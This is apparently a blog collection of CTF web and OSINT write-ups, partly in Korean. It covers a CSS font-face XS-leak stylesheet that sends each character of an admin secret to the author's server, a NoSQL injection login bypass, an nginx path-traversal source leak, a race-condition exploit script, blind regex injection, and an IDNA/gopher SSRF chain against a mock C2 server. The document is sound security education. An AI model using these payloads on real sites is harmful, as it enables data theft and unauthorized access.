문 제

분 야

점 수

2.2 Vaccine Paper

WEB

?

적국의 내부 연구자료 공유 시스템에 접근하였다.

관리자 키를 이용하여 치료제 정보를 탈취하라.

http://3.35.121.198:40831

풀이 절차

  1. 주석으로 숨겨진 vaccine.php 확인
  2. upload <link> 태그를 이용하여 내서버의 xs-leak 스타일을 적용
  3. paper.php에 적용된 csp style-src font-src *임을 이용하여 font-face를 이용한 xs-leak 공격
  4. 내 서버로 전송된 문자들을 정렬하여 vaccine.php에 전송

정 답

flag{Y0u_5uCc3sfu11y_7R4CK_adM1n_4nd_G3t_Vaccine}

풀 이 과 정

회원가입하고 로그인하면 위와같은 화면이 뜬다.

Upload Paper 메뉴에선 아무 제약없이 input을 업로드할 수 있고, 이를 MyPage에서 보이는 업로드된 게시글의 링크를 통해 들어가면 내가 넣은 input이 그대로 출력된다.



--
-------------------------------------------------------------------------------------------- 

Content-Security-Policy: default-src 'none'; script-src 'nonce-2053560439'; style-src *; font-src *; base-uri 'none';


----------------------------------------------------------------------------------------------

 

하지만 csp가 걸려있어 script nonce를 맞춰야하고, style font는 제약없이 사용이 가능하다.



내가 올린글은 약간의 pow를 맞추면 어드민에게 전송되서

headlesschrome/77.0.3835.0 으로 내 글에 접속하는것을 알 수 있다.

 



 

처음엔 script nonce leak 문제인줄 알고 삽질을 많이 했는데 알고보니 메인페이지 주석에 /vaccine.php가 있었다 ㅡㅡㅋㅋ;;;;;

 

vaccine.php는 약간의 pow를 주면 tracking code를 검사하여 admin의 것이면 vaccine을 주는것이다. 이걸 몰라서 삽질을 좀 했는데..

 

tracking code는 이처럼 박혀있는데 css에 의해 display:none으로 숨겨져있다.

 

하지만 우리는 마음대로 stylesheet를 불러올 수 있으며, font 외부요청이 자유롭게 가능하다(style-src *; font-src *;)

 

따라서 font-face를 이용한 xs leak을 사용한다면 쉽게 풀이가 가능하다.

(reference : http://vulnerabledoma.in/poc_unicode-range2.html)

 

-----------------------------------------------------------------------------------------------

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:0');

           unicode-range:U+0030;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:1');

           unicode-range:U+0031;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:2');

           unicode-range:U+0032;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:3');

           unicode-range:U+0033;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:4');

           unicode-range:U+0034;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:5');

           unicode-range:U+0035;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:6');

           unicode-range:U+0036;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:7');

           unicode-range:U+0037;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:8');

           unicode-range:U+0038;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:9');

           unicode-range:U+0039;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:A');

           unicode-range:U+0041;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:B');

           unicode-range:U+0042;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:C');

           unicode-range:U+0043;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:D');

           unicode-range:U+0044;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:E');

           unicode-range:U+0045;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:F');

           unicode-range:U+0046;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:G');

           unicode-range:U+0047;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:H');

           unicode-range:U+0048;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:I');

           unicode-range:U+0049;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:J');

           unicode-range:U+004A;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:K');

           unicode-range:U+004B;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:L');

           unicode-range:U+004C;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:M');

           unicode-range:U+004D;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:N');

           unicode-range:U+004E;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:O');

           unicode-range:U+004F;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:P');

           unicode-range:U+0050;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:Q');

           unicode-range:U+0051;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:R');

           unicode-range:U+0052;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:S');

           unicode-range:U+0053;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:T');

           unicode-range:U+0054;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:U');

           unicode-range:U+0055;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:V');

           unicode-range:U+0056;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:W');

           unicode-range:U+0057;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:X');

           unicode-range:U+0058;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:Y');

           unicode-range:U+0059;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:Z');

           unicode-range:U+005A;

}

 

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:a');

           unicode-range:U+0061;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:b');

           unicode-range:U+0062;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:c');

           unicode-range:U+0063;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:d');

           unicode-range:U+0064;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:e');

           unicode-range:U+0065;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:f');

           unicode-range:U+0066;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:g');

           unicode-range:U+0067;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:h');

           unicode-range:U+0068;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:i');

           unicode-range:U+0069;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:j');

           unicode-range:U+006A;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:k');

           unicode-range:U+006B;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:l');

           unicode-range:U+006C;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:m');

           unicode-range:U+006D;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:n');

           unicode-range:U+006E;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:o');

           unicode-range:U+006F;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:p');

           unicode-range:U+0070;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:q');

           unicode-range:U+0071;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:r');

           unicode-range:U+0072;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:s');

           unicode-range:U+0073;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:t');

           unicode-range:U+0074;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:u');

           unicode-range:U+0075;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:v');

           unicode-range:U+0076;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:w');

           unicode-range:U+0077;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:x');

           unicode-range:U+0078;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:y');

           unicode-range:U+0079;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:z');

           unicode-range:U+007A;

}

 

.tracker-hidden{

        display:block!important;

           font-family:attack;

}


---------------------------------------------------------------------------------------------

 

tracker-hidden display:none으로 되어있기 때문에 visible하게 바꾸어 font-family가 적용되도록 한 후, unicode-range를 이용하여 [A-Za-z0-9] 범위의 글자가 있을 시 해당 font-family를 통해 src:url()로 설정된 내 도메인으로 font 요청을 보내 어떤 글자가 존재하는지 알 수 있다.

 

이를 http://ar9ang3.com/aa.css 와 같이 css파일로 내 서버에 작성한 후,

<link rel="stylesheet" href="http://ar9ang3.com/aa.css">

upload할때 넣어주면 관리자가 내 글을 읽을때 작성한 css가 적용되어 xs-leak이 작동할 것이다.

실제로 내 서버로 한글자씩 전송됐으며,

 

 

Privacy Policy: In order to protect information of NVL, to access every work will be tracked.

To track your information, 32-byte secret code that only contains [0-9A-Za-z] will be used.

Each letters of secret code are in increasing order of ASCII code.

 

 

라고 메인페이지에 나와있었기 때문에 ascii order로 중복없이 되어있을것이기 때문에 이를 모두 모아 정렬하면,

 

 

admin tracker code '012378IJLMNQSWXYadeghilnopqrtuyz' 이다.

 

이를 vaccine.php에 담아 전송하면

플래그를 뿌려준다

 

 

 

참고) pow 코드

 
-----------------------------------------------------------------------------------------------

from arang import *

 

for i in range(0,0xfffffff):

           if i % 100000 == 0:

                     print(f'[+] doing {i}')

           s = hexencode(sha1(str(i)))

           if s[:6] == b'0b83ff':

                     print(i)

                     break

 

-----------------------------------------------------------------------------------------------

문 제

분 야

점 수

1.3 Intranet

web

?

노출된 적국의 생화학 연구소 내부 사이트에서, 관리자 권한을 탈취하여 내부 시스템을 탐색하라.

http://3.35.40.133

풀이 절차

  1. nginx route 설정 오류를 이용한 server source code leak
  2. nosql injection을 이용한 member권한 획득
  3. 기능 확인 후 race condition을 이용하여 admin 권한 획득
  4. 게시판의 member level=2 게시글 조회 시 플래그 획득

정 답

flag{This_is_top_secret_dont_you_agree}

풀 이 과 정

sign up / sign in 페이지가 있고

회원가입후 로그인하고 mypage에 가보면 perm Guest인것을 확인할 수 있다.

이때 /api/static/{:userid} 를 요청해오는데, 이와 서버가 nginx임을 미루어 보아 잘못된 route설정으로 인하여 file leak이 될 수도 있다는것을 가정해볼 수 있다.

이처럼 /api/static../User.js 를 요청하면 nginx에서의 잘못된 route설정으로 인하여 static디렉터리를 벗어나 본래 접근할 수 없는 파일에 접근하게 되어 서버단 코드를 획득할 수 있다.

----------------------------------------------------------------------------------------------

const signin = (req, res) => {

    User

        .findOne({

            userid: req.body.userid,

            password: req.body.password

        })

        .then(user => {

            if (!user) {

                res.status(406);

                res.send();

            } else {

                res.status(200);

                control

                    .sign({ id: user.userid })

                    .then(tok => {

                        res.send(JSON.stringify({

                            username: user.userid,

                            token: tok

                        }))}

                    );

            }})

        .catch(err => {

            res.status(500);

            res.send(JSON.stringify({ reason: { html: err } }));

        });

};


----------------------------------------------------------------------------------------------

서버단 코드 중 로그인 부분 코드를 보면 mongo db Model .findOne 메서드를 이용하여 사용자로부터 전달받은 id password key로 검색하는 것을 확인할 수 있다.

 

하지만 findOne 메서드를 이용하는점 + 서버의 구성이 app.use( bodyParser.urlencoded({ extended: true }) ); 로 이루어져 있기 때문에 사용자는 Object 객체를 직접 전달할 수 있다. 이로 인하여 nosql injection이 발생하게 되어

{"userid":"admin","password":{"$gt":""}} 와같이 요청하게 되면 admin의 패스워드를 모르더라도 로그인이 가능해진다.

 

nosql injection을 통해 admin의 토큰을 알아냈으니 local storage의 토큰값을 admin토큰으로 바꾸면 이와같이 admin으로 로그인된것을 확인할수있다.

 

 

하지만 해당 문제에서 진짜 어드민은 level=2 이상이 되어야한다.



현재 접속한 어드민은 level=1(member)로써 board list에서 조회할 수 있는 게시글은 자신의 레벨보다 낮은 레벨의 게시글만 조회할 수 있다. 따라서 문제의 목적에 따라 어드민 레벨을 획득하여야 한다.

 

이 상황에서 auth 동작이 다소 이상하게 되어있는데, 만약 올바른 division_number를 입력할 시 현재 접속한 계정의 level 0일경우 해당 계정의 level 1 올려주는 동작을 한다.

 

division_number는 알려져 있지 않지만 이또한 마찬가지로 nosql injection을 통해 레벨을 올릴 수 있다.

 

또한 해당 코드가 Division 모델에서 findOne 함수를 이용해 값을 찾고 updateOne을 이용해 update하는것으로 미루어보아 빠르게 해당 요청을 두번 전송하면 race condition이 발생하여 level이 두번 증가될 수 있을 가능성을 확인하였다.


---------------------------------------------------------------------------------------------- 

#-*- coding:utf-8 -*-

import requests

import sys

import time

import re

import string

import datetime

import json, os, sys, html, zlib

from arang import *

from concurrent.futures import ThreadPoolExecutor

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

 

packet='''POST http://3.35.40.133/api/signup HTTP/1.1

Host: 3.35.40.133

Connection: keep-alive

Content-Length: 42

Accept: application/json, text/plain, */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36

Content-Type: application/json;charset=UTF-8

Origin: http://3.35.40.133

Referer: http://3.35.40.133/signup

Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

 

'''

 

s = requests.session()

 

def raceCondition(args):

    global pp,s

    u = 'http://3.35.40.133/api/auth'   

    data = {"division_number":{"$gt":""}}

    r = s.post(u, data=json.dumps(data), headers=pp.headers)

    print('--------------')

    print(r.content)

    print('--------------')

 

   

 

for i in range(1,1000):

    # signup   

    pp = parsePacket(packet.format(i))

    pp.proxies="127.0.0.1:8888"

    data = {"userid":"arat0{:03d}".format(i),"password":"dkfkd31231"}

    r = s.post(pp.url, data=json.dumps(data), headers=pp.headers)

    if r.status_code==200:

        # signin

        u = "http://3.35.40.133/api/signin"

        data = {"userid":"arat0{:03d}".format(i),"password":{"$gt":""}}

        r = s.post(u, data=json.dumps(data), headers=pp.headers)

        if r.status_code==200:

            rj = json.loads(r.content)

            pp.headers['x-access-token'] = rj['token']

           

           

           

            with ThreadPoolExecutor(3) as pool:

                t=[1,2,3,4,5]

                ret = [x for x in pool.map(raceCondition,t)]


---------------------------------------------------------------------------------------------- 

위와같은 race condition을 발생시키는 익스플로잇 코드를 통해 level 2번 증가시킬 수 있다

실제로 auth 요청이 2번 된것을 확인하였고, 그 계정으로 로그인 시

admin으로 변한것을 확인할 수 있다.

플래그 획득

  1. 2020.09.15 21:11

    비밀댓글입니다

    • ar9ang3 ar9ang3 2020.09.15 22:18 신고

      (1)
      nginx routing(alias) 설정 중 잘못된 설정으로 인해 본문에 적힌것처럼 상위 디렉터리의 파일을 읽어올 수 있습니다. 어떤 근거로 접근방법을 떠올렸냐 하면 문제 풀이 과정에 file leak이 있어야 합리적인 문제라는 생각이 들었고 file leak 방법을 찾던 중 해당 내용이 떠올랐습니다. ctf에서도 이거 이용해서 file leak 주는 경우가 많았구요

      cf.) https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

      (2)의 설명도 위와 같습니다.
      다만 해당 취약점으로는 바로 위 디렉터리의 파일들만 접근이되고 그 상위, 즉 상위의 상위 디렉터리의 파일들은 접근이 안됩니다. 참고바랍니다.

  2. 2020.09.15 23:35

    비밀댓글입니다

slick-logger web 5 solvers

func searchHandler(w http.ResponseWriter, r *http.Request) {
    channelID, ok := r.URL.Query()["channel"]
    if !ok || !validateParameter(channelID[0]) {
        http.Error(w, "channel parameter is required", 400)
        return
    }

    queries, ok := r.URL.Query()["q"]
    if !ok || !validateParameter(queries[0]) {
        http.Error(w, "q parameter is required", 400)
        return
    }

    users := []User{}
    readJSON("/var/lib/data/users.json", &users)

    dir, _ := strconv.Unquote(channelID[0])
    query, _ := strconv.Unquote(queries[0])

    if strings.HasPrefix(dir, "G") {
        http.Error(w, "You cannot view private channels, sorry!", 403)
        return
    }

    re, _ := regexp.Compile("(?i)" + query)

    messages := []Message{}
    filepath.Walk("/var/lib/data/", func(path string, _ os.FileInfo, _ error) error {
        if strings.HasPrefix(path, "/var/lib/data/"+dir) && strings.HasSuffix(path, ".json") {
            newMessages := []Message{}
            readJSON(path, &newMessages)
            for _, message := range newMessages {
                if re.MatchString(message.Text) {
                    // Fill in user info
                    for _, user := range users {
                        if user.ID == message.UserID {
                            messages = append(messages, Message{
                                Text:      re.ReplaceAllString(message.Text, "<em>$0</em>"),
                                UserID:    message.UserID,
                                UserName:  user.Name,
                                Icon:      user.Profile.Image,
                                Timestamp: message.Timestamp,
                            })
                            break
                        }
                    }
                }
            }
        }
        return nil
    })

    result, _ := json.Marshal(messages)

    w.WriteHeader(http.StatusOK)
    header := w.Header()
    header.Set("Content-type", "application/json")
    fmt.Fprint(w, string(result))
}

in search function, they get input from us, channel and q

but they use specific parameter form like "value", and unquote it.

so if we give """, it is going to blank, we could search like like '%' in mysql db.

(thanks for @Payload at GON)

from now,

filepath.Walk("/var/lib/data/", func(path string, _ os.FileInfo, _ error) error {
    if strings.HasPrefix(path, "/var/lib/data/"+dir) && strings.HasSuffix(path, ".json") {
        newMessages := []Message{}
        readJSON(path, &newMessages)

we could get secret channel's admin message,

users := []User{}
readJSON("/var/lib/data/users.json", &users)

...

for _, user := range users {
    if user.ID == message.UserID {

but because of this condition, there is no userid USLACKBOT at users.json

    for _, message := range newMessages {
>>>        if re.MatchString(message.Text) {
            // Fill in user info
            for _, user := range users {

but our searching word, query, is going to argument of regexp.Compile, it is used before userid matching.

so we could give it blind regex injection. (https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)

as searching words' length is growing, accuracy of blind regex injection decreases.

moderately slice our searching words to get flag!

and accuracy is little bit low, so we send same payload for several time, and get statistics of most delayed word! XD

[*] 5 : 0.06300497055053711
[*] } : 0.062014102935791016
[*] N : 0.05901360511779785
---------------------
[*] } : 0.06202411651611328
[*] 0 : 0.060013771057128906
[*] W : 0.058012962341308594
---------------------
[*] U : 0.09402132034301758
[*] B : 0.0660254955291748
[*] } : 0.06601500511169434
---------------------
[*] } : 0.06301426887512207
[*] Z : 0.06101393699645996
[*] Y : 0.060013532638549805
---------------------
[*] } : 0.06601476669311523
[*] H : 0.06502485275268555
[*] 6 : 0.05902361869812012
---------------------
[Finished in 13.1s]

## this could be `}` is the currect word

check my exploit

https://github.com/JaewookYou/ctf-writeups/blob/master/2020TSGCTF/slick-logger/ex.py

Defenit CTF 2020 OSINT Challenge Write-Up (KOR,ENG)

 

 

이번 Defenit CTF 2020에선 OSINT 분야 출제를 맡았습니다. 본래 주 분야가 웹이라 웹과 OSINT를 엮어서 할 수 있는 문제를 만드는것을 목표로 하여 문제를 구상하였습니다. 문제 구상을 하기 전에 OSINT라는 분야에 대해 생각해 보았습니다. '인터넷 상에 공개된 정보를 토대로 해커의 정보를 얻거나 그를 특정하는 것'이 OSINT라는 분야의 주된 목적이라 생각하였고, 이를 최근 트렌드와 엮어 '암호화폐'와 '악성코드' 등을 이용한 해커의 악의적 동작을 막아내는 것을 주 컨셉으로 잡고 문제를 구상·제작 하였습니다. Bad Tumbler는 '암호화폐', Hack the C2는 '악성코드의 C2서버'가 주 컨셉입니다. 그럼 한 문제씩 Write-up을 서술하여 보겠습니다.

 

In this Defenit CTF 2020, I took charge of the OSINT category. Originally, my main field was the web, so I was going to make the challenge that could be done by combining the web and OSINT. Before I thought about the problem, I thought about the category called OSINT. It was thought that the main purpose of the field of OSINT was to'acquire hacker's information based on information published on the Internet or to specify him', and by linking it with recent trends, hackers using 'cryptocurrency' and 'malware'.  The main concept was to prevent malicious movements and devised and produced problems. 'Bad Tumbler's main concept is 'cryptocurrency', and 'Hack the C2's main concept are 'C2 server of ransomware'. Then let's describe Write-up one by one.

 


1. Bad Tumblers


[TL;DR]

 1. parse given address recursively

 2. get characteristic of hacker address

 3. get connection of all parsed address (tumbler networks + hacker wallet + victim wallet + a)

 4. specify the wallet which has characteristic 'from some wallet but to less wallet (unless 5)'

 5. specify the wallet which had been having more than 400+ ether



이 첼린지는 최근 이슈화 되고있는 암호화폐 돈세탁에 관련된 문제입니다. 해커가 암호화폐를 해킹하여 돈세탁을 맡기고, 출금한 상황에서 이러한 해커를 추적해나가는게 주요 문제 해결의 키 포인트입니다.

우선 전제조건과 설명은 아래와 같습니다

This is a problem related to the money laundering of cryptocurrency, which has recently become an issue. The key point of solving a major problem is that a hacker hacks a cryptocurrency, entrusts money laundering, and tracks the hacker in the withdrawal situation.

First of all, the prerequisites and explanations are as follows:


[Precondition]
0. Hundreds of wallets contain about 5 ether (tumbler)
0. Hackers steal more than 400 ethers through hacking per exchange
0. Hacker commissions ethereum tumbler to tumbling 400 ether from his wallet
0. After tracking the hacking accident that reported by exchange A, we confirmed that it was withdrawn to the hacker wallet of exchange C.
0. After checking the amount withdrawn from the wallet of exchange C, it seems that it was not the only exchange(exchange A) that was robbed.
0. Therefore, it is a problem to find a hacker wallet of some exchange(in this chall, it will be exchange B). So, we should find clues to track the hacker.

[Description]
Hacker succeeded in hacking and seizing cryptocurrency, Ethereum! Hacker succeeded in withdraw Ethereum by mixing & tumbling. What we know is the account of the hacker of exchange A which reported the hacking and exchange C which hacker withdrew money. In addition to Exchange A, there is another exchange that has been hacked. Track hackers to find out the bad hacker's wallet address on another exchange!




길죠?ㅠㅠ 죄송합니다. 보다 좋고 개연성있는 시나리오를 구성하기 위해서 주절주절 써봤습니다..

It's long, isn't it? In order to compose a better and more probable scenario, I've written weekly.



전제조건과 디스크립션의 주요 내용은 첨부된 개념도를 통해 더 직관적으로 이해할 수 있습니다. 각 거래소 A와 B에 피해자들이 있고, 이 피해자들이 이더리움을 해커의 지갑으로 우선 전송, 해커는 모인 이더리움들을 tumbler network에 조금씩 나누어 전송하고, 이렇게 전송된 돈은 tumbler network에서 돌고 돌다가 거래소 C의 해커 계좌로 조금씩 입금됩니다. 한마디로 '컵에 물을 담아 호수에 부은 후, 호수의 물을 다시 다른 컵으로 뜨는 것'과 비슷한 맥락으로 이해하면 됩니다.

The main contents of the precondition and description can be understood more intuitively through the attached conceptual image. There are victims on each of exchanges A and B, and these victims first transfer Ethereum to the hacker's wallet, the hacker transmits the collected Ethereum in small portions to the tumbler network, and the transferred money is circulated on the tumbler network and then exchanges C Will be gradually deposited into your hacker account. In a nutshell, you can understand it in a similar context to'after pouring water into a cup and pouring it into the lake, then floating the water from the lake back into another cup'.



문제에선 거래소 A와 C의 해커 지갑이 주어집니다. 암호화폐의 특성상 각 지갑에서의 거래(Transaction)는 모두 기록되어 모두에게 공유됩니다. 문제를 풀어나가는 첫 단계는 해킹을 당한 거래소 A의 해커 지갑을 분석하여 특징을 조사하고, 이러한 지갑들과 연결된 지갑들을 모두 찾아내 그 지갑들에서 아까 찾아낸 특징을 적용하여 살펴보는 것입니다.

The challenge is given to the exchange A and C hacker wallets. Due to the principle of cryptocurrency, all transactions in each wallet are recorded and shared with all. The first step in solving the problem is to analyze the hacker wallet of the hacked exchange A to investigate its characteristics, find all the wallets associated with these wallets, and apply the features found earlier in those wallets.

 


문제의 조건으로 주어진 거래소 A의 해커 지갑의 초기 transaction 들입니다.

 

These are the initial transactions in the hacker wallet of exchange A given as a condition of the problem.

 

 

Concept Map에서는 상기 그림에 해당하는 거래입니다. 피해자들의 돈이 해커의 지갑으로 입금되는 상황입니다. transaction들을 살펴보면 우선 피해자들의 이더리움이 해커의 지갑으로 모인 후, 이 이더리움들이 tumbler network로 출금되는 것을 알 수 있습니다.

 

In the Concept Map, it is a transaction corresponding to the picture above. The victim's money is deposited into the hacker's wallet. Looking at the transactions, you can see that the victims' Ethereum is first collected in the hacker's wallet, and then these Ethereums are withdrawn to the tumbler network.

 

 "Hacker Wallet's Characteristic: many victims deposit to hacker wallet"

이제 지갑들을 모두 파싱하여 특징을 조사하기 위해 recursive parse를 진행합니다. 수집된 지갑들 중 from/to transaction을 조사하여 지갑(node)간의 연결 정보를 수집합니다. 그 정보 중 우리가 알아낸 특징인 'to transaction이 적은 지갑이 victim 지갑이고, 그 to에 해당하는 지갑이 해커지갑이라는 것'을 적용하여 필터링합니다. 이후 필터링 된 지갑들 중 한때 400이더리움 이상을 가지고 있던 지갑(max current value)을 필터링합니다.

 

Now parse all wallets and proceed with recursive parse to investigate the features. Among the collected wallets, connection information between wallets is collected by examining from/to transactions. Among the information, we filter by applying the feature that we found out, 'a wallet with a small amount of to transaction is a victim wallet, and a wallet corresponding to that to be a hacker wallet'. Subsequently, the filtered wallet (max current value) that once had more than 400 Ethereum was filtered.

 

 

solve.py

https://github.com/JaewookYou/2020-defenit-ctf-osint-writeup/blob/master/bad-tumblers/solve.py

 

 


2. hack-the-c2

 


[TL;DR]

 1. find nickname at twitter

 2. see deleted tweet from web.archive.org

 3. find ransomware name at github

 4. see private repository(which is code of c2 server) from web.archive.org

 5. get url of c2 server and its code

 6. bypass curl argument's filter regex by idna normalization

  ( `file:/‥/‥/`, fi(\u2025, 1byte) will change to fi(\x46\x49, 2byte) after idna decoding at python )

 7. get internal server(which use 7777 port)'s code

 8. know it has connection with internal network's mysql server (172.22.0.4:3306)

 9. when connect to mysql server, there aren't login password

 10. so we can ssrf it by gopher scheme

 11. double url encoding because our packet via external server(which use 9090 port)

 12. get killcode from mysql, input killcode => FLAG XD


DescriptionSome hacker make ransomware, and he is going to spread it. We should stop him, but the only we have is that the hacker uses nickname 'b4d_ar4n9'. Find hacker's info and stop him!Hints

 

  • my own github is not related to solve this challenge

 

이 챌린지는 이전 랜섬웨어 킬스위치를 작동시켜 막대한 피해를 막은 영국의 보안 연구원이 떠올라 이와 비슷한 컨셉으로 만든 문제입니다. 보안 연구원인 우리는 인터넷에서 해커의 정보를 수집하여 해당 해커의 C2 서버 코드를 릭하여 자신만이 사용하려 만든 일종의 'admin function'들과 그에서 발생하는 취약점들로 C2서버를 해킹하여 킬스위치를 작동시켜 랜섬웨어 작동을 막아 세상을 구해낸다는(?) 컨셉입니다.

 

This challenge was created by a British security researcher who ran a previous ransomware kill switch to prevent massive damage and I made this challenge as a similar concept. As a security researcher, we collect hacker's information from the Internet and get the hacker's C2 server code to hack the C2 server by hacking the C2 server with some kind of 'admin functions' and vulnerabilities. The concept is to save the world by activating it to prevent ransomware from working (?).

 

 

 

우선 문제를 해결하기 위해선 정보를 수집하여야 합니다. 트위터에 'b4d_ar4n9'을 검색해보면 해당 닉네임을 사용중인 계정과 트윗들이 나옵니다. 이 중, 랜섬웨어의 이름을 썼다 지운 흔적이 위의 이미지와 같이 보입니다.

 

First, we need to collect information to solve the problem. If you search for 'b4d_ar4n9' on Twitter, the accounts and tweets using the nickname will appear. Of these, the name of the ransomware that was written and erased looks like the image above.

 

http://web.archive.org/web/20200520115408/https:/twitter.com/b4d_ar4n9

 

 

랜섬웨어 이름이 등장합니다! 추가로 최근 트윗에 'c2 서버의 코드를 모두 커밋했다' 라는 내용이 존재합니다. 따라서 github에서 랜섬웨어의 이름을 토대로 검색해봅시다.

 

The ransomware name comes up! In addition, a recent tweet says 'committed all code from c2 server'. So let's search based on the name of ransomware on github.

 

해커의 닉네임과 (leet lang으로) 동일한 계정의 repository가 나옵니다.

 

You'll get a repository with the same account (with leet lang) as the hacker's nickname.

 

 

https://github.com/Ba6-4raNg/myfirstapp/commit/1c2c1140e17960aa5d81762d3176c10e2f13009c

해당 repository의 커밋을 살펴보면 '모든것을 private로 만들었고, 모든 중요정보는 아카이빙 한다' 라는 기록이 존재합니다.

 

When looking at the commit of the repository, there is a record that 'everything is made private and all important information is archived'.

 

 

http://web.archive.org/web/20200604115819/https://github.com/Ba6-4raNg

 

짜잔- 여기엔 아까 보았던 랜섬웨어 이름으로 된 repository가 존재합니다.

 

There is a repository in the name of ransomware you saw earlier.

 

http://web.archive.org/web/20200604120030/https://github.com/Ba6-4raNg/SUPER_POWERFUL_RANSOMWARE/blob/master/app/main.py

 

 

 

 

해당 repository엔 c2 서버의 주소(http://hack-the-c2.ctf.defenit.kr:9090/)와 그 코드가 있습니다.

 

The repository contains the address of the c2 server(http://hack-the-c2.ctf.defenit.kr:9090/) and its code.

 

# health check! - ps
@app.route('/he41th_ch3ck_C2_ps')
def health_ps():
	r = subprocess.Popen("ps -ef".split(' '),stdout=subprocess.PIPE).stdout.read().decode().split('\n')
	result = []
	for i in r:
		if 'python' in i:
			result.append(i)
	
	return render_template('he41th_ch3ck_C2_ps.html', results=result)

# health check! - netstat
@app.route('/h3alTh_CHeCK_c2_nEtsTaT')
def health_netstat():
	r = subprocess.Popen("netstat -lntp".split(' '),stdout=subprocess.PIPE).stdout.read().decode().split('\n')
	return render_template('h3alTh_CHeCK_c2_nEtsTaT.html', results=r)

 

 

http://hack-the-c2.ctf.defenit.kr:9090/he41th_ch3ck_C2_ps

http://hack-the-c2.ctf.defenit.kr:9090/h3alTh_CHeCK_c2_nEtsTaT

 

 

누촐된 코드를 통하여 일반적으로는 쉽게 알 수 없는 route에 접속하면, 현재 c2 서버의 process info와 netstat info를 알 수 있습니다. 이를 통해 내부에 9090 포트 외에 7777 포트로 돌아가는 flask server가 하나 더 있음을 확인 할 수 있습니다. (여기에 37159 포트를 사용하는 127.0.0.11 호스트에 많은 노력을 들인 분들이 있습니다만, 해당 서비스는 docker 안의 네트워크에서 dns를 관리하는 호스트입니다. 문제와는 관련이 없고, 구글링 할 시 찾아볼 수 있는 내용입니다)

 

